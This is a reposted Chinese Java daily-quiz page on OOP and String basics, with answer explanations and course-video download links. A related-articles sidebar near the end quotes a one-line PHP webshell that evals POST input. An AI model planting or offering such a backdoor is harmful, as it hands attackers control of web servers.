Java每日一练(2017/6/24)

Java基础 | 数据库 | Android | 学习视频 | 学习资料下载

最新通知

●回复"每日一练"获取以前的题目!

●【新】Ajax知识点视频更新了!(下载链接在本文下面)

●答案公布时间:为每期发布题目的第二天

★【新】回复“测试题”获取昨天发布的软件工程师初级阶段测试题答案

★【新】回复“学习资料”获取java学习电子文档

★【新】回复“聊天系统”获取java多人聊天系统项目源码!

●我希望大家积极参与答题!有什么不懂可以加小编微信进行讨论

★珍惜每一天,拼搏每一天,专心每一天,成功每一天。

题目要求 本期题目: (单选题)1、如果一个接口Cup有个方法use(),有个类SmallCup实现接口Cup,则在类SmallCup中正确的是? ( ) A void use() { …} B protected void use() { …} C public void use() { …} D 以上语句都可以用在类SmallCup中

(不定项选择题) 2、int,String,*point,union哪些不是 Java 的数据类型? A int B String C *point D union

(单选题) 3、子类A继承父类B, A a = new A(); 则父类B构造函数、父类B静态代码块、父类B非静态代码块、子类A构造函数、子类A静态代码块、子类A非静态代码块执行的先后顺序是? A 父类B静态代码块->父类B构造函数->子类A静态代码块->父类B非静态代码块->子类A构造函数->子类A非静态代码块 B 父类B静态代码块->父类B构造函数->父类B非静态代码块->子类A静态代码块->子类A构造函数->子类A非静态代码块 C 父类B静态代码块->子类A静态代码块->父类B非静态代码块->父类B构造函数->子类A非静态代码块->子类A构造函数 D 父类B构造函数->父类B静态代码块->父类B非静态代码块->子类A静态代码块->子类A构造函数->子类A非静态代码块

(单选题) 4、java中,用()关键字定义常量? A final B #define C float D const

(单选题)5、A是抽象父类或接口, B , C 派生自 A ,或实现 A ,现在 Java 源代码中有如下声明: 1. A a0=new A(); 2. A a1=new B(); 3. A a2=new C(); 问以下哪个说法是正确的?() A 只有第1行不能通过编译 B 第1、2行能通过编译,但第3行编译出错 C 第1、2、3行能通过编译,但第2、3行运行时出错 D 第1行、第2行和第3行的声明都是正确的 ★请转发给身边需要的朋友!您的每一次转发都是对我的一份支持!!

读者可在右下角的留言留下你的答案以及理由!

上期练习题答案公布栏

(单选题) 1、有如下一段代码,请选择其运行结果()

publicclassStringDemo{

privatestaticfinalString MESSAGE="taobao";

publicstaticvoidmain(String [] args) {

String a ="tao"+"bao";

String b="tao";

String c="bao";

System.out.println(a==MESSAGE);

System.out.println((b+c)==MESSAGE);

}

}

A true true

B false false

C true false

D false true

正确答案:C

解析:

本题主要考察的是String声明变量在jvm中的存储方法

String a="tao";

String b="bao";

String c="taobao";

a,b,c,都是存在字符串常量池中的

String d="tao" +"bao";也是存在常量池中,d的构造过程是现在常量池中先找是否有“taobao”这个字符长 若有则直接引用改字符串 若没有则在字符长常量池中构造一个“taobao”

类似 String e="tao"+"ba"+"o"; 现在字符串常量池中查找“taoba” 若有则直接引用 若没有则构造一个放在该池中,然后在判断是否有“taobao”过程和前面一样

至于String f=a+b;实际等效于 String f=new String("taobao");存在在堆内存中 所以不相等


(单选题)2、Java 源程序文件的扩展名为()

A .java

B .class

C .exe

D .jar

正确答案是:A

解析:

.class 编译后的Java文件 .java是未编译的程序 .jsp是页面程序 .xml配置程序 .jar是.calss的集合


(单选题)3、关于私有访问控制符 private 修饰的成员变量,以下说法正确的是()

A 可以三种类所引用:该类自身、与它在同一包中的其他类,在其他包中的该类的子类

B 可以被两种类访问和引用:该类本身、该类的所有子类

C 只能被该类自身所访问和修改

D 只能被同一个包中的类访问

正确答案是:C

解析:私有变量只能被该类自身调用,类的对象不能使用


(不定项选择题)4、A,B,C,D 中哪些是 setvar的重载?

publicclass methodover

{

publicvoid setVar(int a, int b, float c) {}

}

A private voidsetVar(int a, float c, int b){}

B protected voidsetVar(int a, int b, float c){}

C public intsetVar(int a, float c, int b){return a;}

D public intsetVar(int a, float c){return a;}

正确答案是:ACD

解题要点:

1、重载:

(1)作用范围:同一个类的内部;

(2)定义:方法名相同,但是参数不同(参数的个数不同,参数的类型不同),参数的变量名不同没有影响;

(3)特别注意:重载的方法返回类型以及访问权限以及抛出的异常类型可以相同也可以不同,方法的重载和这些没有关系。

2、重写:

(1)作用范围:继承关系(子类重写父类方法);实现关系(类重写接口定义的方法);

(2)定义:方法名和参数、返回类型必须相同,方法的实现不同;被重写的方法是非private类型的;

(3)特别注意:重写的方法访问权限必须大于或等于被重写的方法的访问权限,如果被重写的方法的访问权限为protected,则重写方法的访问权限可以为protected或者public;重写方法一定不能抛出新的检查异常或者比被重写方法申明更加宽泛的检查型异常,可以抛出非检查异常,如果被重写的方法抛出IOException,则重写方法可以抛出RuntimeException或者IOException的子类,不能抛出其他检查异常,如SQLException.

重载和重写的区别:

(1)作用范围不同

重载发生在同一个类内部,重写发生在不同类之间或者类与接口之间;

(2)目的不同

重载的目的是定义不同的方法,重写的目的是对同一个方法有不同的实现;

(3)判别标准不同

方法名相同参数不同的为重载;

方法名相同参数相同返回类型相同的为重写;

(4)注意点不同

重载不许关心返回类型、抛出的异常;

重写需要注意返回类型、抛出的异常;


(不定项选择题) 5、在Java中下面Class的声明哪些是错误的?

A public abstractfinal class Test { abstract void method(); }

B public abstractclass Test { abstract final void method(); }

C public abstractclass Test { abstract void method() { } }

D public class Test{ final void method() { } }

正确答案是:ABC

解析:

A.被final修饰的类为最终类,不能被继承,而类前面如果有abstract修饰,则为抽象类,抽象类是需要被继承才有意义,因此abstract和final矛盾,选项错误。

B.被final修饰的方法为最终方法,不能被继承,而方法前面如果有abstract修饰,则为抽象方法,抽象方法是需要被继承才有意义,因此abstract和final矛盾,选项错误。

C.抽象类中的抽象方法不能有具体的实现,而选项中的 abstract void method() {}中{}代表有具体的实现,因此此处应该为abstract void method();

注意: abstract 不能与private、static、final或native并列修饰同一个方法。


(不定项选择题) 6、Java7特性中,abstractclass和interface有什么区别。

A 抽象类可以有构造方法,接口中不能有构造方法

B 抽象类中可以有普通成员变量,接口中没有普通成员变量

C 抽象类中不可以包含静态方法,接口中可以包含静态方法

D 一个类可以实现多个接口,但只能继承一个抽象类。

正确答案是:ABD

解析:

抽象类

特点:

抽象类中可以构造方法

抽象类中可以存在普通属性,方法,静态属性和方法。

抽象类中可以存在抽象方法。

如果一个类中有一个抽象方法,那么当前类一定是抽象类;抽象类中不一定有抽象方法。

抽象类中的抽象方法,需要有子类实现,如果子类不实现,则子类也需要定义为抽象的。

接口

特点:

在接口中只有方法的声明,没有方法体。

在接口中只有常量,因为定义的变量,在编译的时候都会默认加上

public static final

在接口中的方法,永远都被public来修饰。

接口中没有构造方法,也不能实例化接口的对象。

接口可以实现多继承

接口中定义的方法都需要有实现类来实现,如果实现类不能实现接口中的所有方法

则实现类定义为抽象类。

微信小程序

点击右下角的 "留言" 获赞数超过5个的朋友即可获取一套微信小程序学习视频

1 Java基础入门视频教学素材链接:

1-2天上课内容!链接: https://pan.baidu.com/s/1skDryK9 密码: k4we

3-5天上课内容! 链接: https://pan.baidu.com/s/1nvLNu1z 密码: gmb2

6-10天上课内容!链接: https://pan.baidu.com/s/1slvqSUx 密码: pnbp

11-13天上课内容!链接: http://pan.baidu.com/s/1slIXZVR 密码: 4tde

14-17天上课内容!链接: https://pan.baidu.com/s/1pL98ODt 密码: 8qn2

18-20天上课内容!链接: https://pan.baidu.com/s/1eSqUFhK 密码: utxc

21-25天上课内容!链接:http://pan.baidu.com/s/1nuXeaUX 密码:k3wg

Java入门基础的上课内容自己更新完毕

2 Html&JavaScript阶段的视频教学素材链接:

1-4天的上课内容!链接: http://pan.baidu.com/s/1o8jT2qu 密码: 7ida

5-7天的上课内容!链接: https://pan.baidu.com/s/1c25SKAc 密码: wpje

HTML&javascript的上课内容自己更新完毕

3 数据库阶段的视频教学素材链接:

1-3天的上课内容 链接: https://pan.baidu.com/s/1nuOXvYD 密码: 4idi

4-5天的上课内容 链接: https://pan.baidu.com/s/1jIn0hlO 密码: bhui

6-7天的上课内容 链接: https://pan.baidu.com/s/1b1DKNO 密码: mmm3

8-9天的上课内容 链接: https://pan.baidu.com/s/1miyn54c 密码: 3wvn

【新】10-11天的上课内容 接: https://pan.baidu.com/s/1o8x4Uqm 密码: 6648

3 jsp&servet阶段阶段的视频教学素材链接:

【新】1-4天的上课内容 链接: https://pan.baidu.com/s/1mi0rhLe 密码: hp9t

4 Ajax知识点视频教学素材链接:

【新】链接: https://pan.baidu.com/s/1gfgQrPT 密码: zfqd(更新时间2017/6/16)

本文分享自微信公众号 - java学习(javaxxf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-06-24

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏小樱的经验随笔

51 Nod 1057 N的阶乘【Java大数乱搞】

1057 N的阶乘 基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题 输入N求N的阶乘的准确值。 Input 输入N(1 <= N ...

28560
来自专栏小樱的经验随笔

51 Nod 1027 大数乘法【Java大数乱搞】

1027 大数乘法 基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题 给出2个大整数A,B,计算A*B的结果。 Input 第1行:...

21840
来自专栏逸鹏说道

最短的各类一句话木马

菜刀readme.txt中附带一3个一句话: PHP: 1 <!--?php @eval($_POST['chopper']);?--> ASP: 1 &l...

63330
来自专栏小樱的经验随笔

51 Nod 1008 N的阶乘 mod P【Java大数乱搞】

1008 N的阶乘 mod P 基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题 输入N和P(P为质数),求N! Mod P ...

30160
来自专栏专知

【专知-Deeplearning4j深度学习教程02】用ND4J自己动手实现RBM: 图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

678100
来自专栏专知

【专知-Java Deeplearning4j深度学习教程04】使用CNN进行文本分类:图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

3.2K70
来自专栏小樱的经验随笔

密码学经典之生日悖论与生日攻击【详解】

生日悖论 在算法导论书上看到个比较有意思的概率算法,在这里加上自己的理解分享下: 上次刚看同学发的朋友圈说道:“两个人同一间宿舍,而且同年同月同日生,这个缘分真...

711120
来自专栏专知

【专知-Deeplearning4j深度学习教程03】使用多层神经网络分类MNIST数据集:图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

519110
来自专栏专知

【专知-Deeplearning4j深度学习教程01】分布式Java开源深度学习框架DL4j安装使用: 图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

55890
来自专栏专知

【专知-Java Deeplearning4j深度学习教程05】无监督特征提取神器—AutoEncoder:图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

592110

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励